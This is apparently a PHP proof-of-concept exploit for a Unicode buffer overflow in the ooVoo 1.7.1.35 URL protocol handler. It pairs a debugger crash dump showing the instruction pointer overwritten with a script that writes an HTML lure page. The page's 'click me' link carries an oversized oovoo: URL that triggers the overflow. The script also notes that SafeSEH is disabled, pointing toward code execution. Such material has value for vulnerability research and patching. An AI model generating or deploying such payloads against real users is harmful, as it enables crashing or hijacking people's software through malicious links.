<?php /* ooVoo 1.7.1.35 (URL Protocol) remote unicode buffer overflow poc by Nine:Situations:Group::bruiser tested against IE8b/xp sp3 9sg site: http://retrogod.altervista.org/ software site: http://www.oovoo.com/ description: ooVoo is a startup video conferencing and instant messaging application, similar to Skype Video.[1] ooVoo allows video chats with up to 6 participants, and unlike Skype Video, does not use a P2P network.[..] faultmon dump of oovoo.exe processing the url given: ... 04:22:10.875 pid=0E10 tid=0C08 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [0000005A]) ---------------------------------------------------------------- EAX=00000066: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00133D44: 6F 00 6F 00 76 00 6F 00-6F 00 3A 00 00 00 0F 00 ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=01D0DC28: 63 00 61 00 6C 00 6C 00-74 00 6F 00 3A 00 00 00 ESP=00133D00: 12 4E 43 00 AA A8 39 06-FF FF FF FF 01 00 00 00 EBP=00133F68: 63 00 63 00 63 00 64 00-64 00 64 00 64 00 65 00 ESI=00133F84: 66 00 00 00 68 B6 A2 01-00 00 00 00 00 00 00 00 EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EIP=0040DF5A: 3B 48 F4 7F 16 52 8D 04-48 50 E8 89 9A 3F 00 83 --> CMP ECX,[EAX-0C] ---------------------------------------------------------------- 04:22:12.015 pid=0E10 tid=0C08 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION writing [00000000]) ---------------------------------------------------------------- EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=00610061: 00 00 00 89 84 24 86 00-00 00 89 84 24 8A 00 00 EDX=7C9132BC: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00 ESP=00133930: A8 32 91 7C 18 3A 13 00-5C 3F 13 00 34 3A 13 00 EBP=00133950: 00 3A 13 00 7A 32 91 7C-18 3A 13 00 5C 3F 13 00 ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EIP=00610061: 00 00 00 89 84 24 86 00-00 00 89 84 24 8A 00 00 --> ADD [EAX],AL ---------------------------------------------------------------- ... additional notes: oovoo.exe, compiled with /SafeSEH=OFF reg key: HKEY_CLASSES_ROOT\ooVoo\shell\open\command "e:\oovoo\oovoo.exe" "%1" */ $bof="<html><a target=\"_blank\" href=\"oovoo:?" . str_repeat("\x0f",258). "bbbbaaaaccccddddeeeeffff". "\">click me</a></html>"; $fp=fopen("oovoo_poc.html","w+"); fputs($fp,$bof); fclose($fp); ?>
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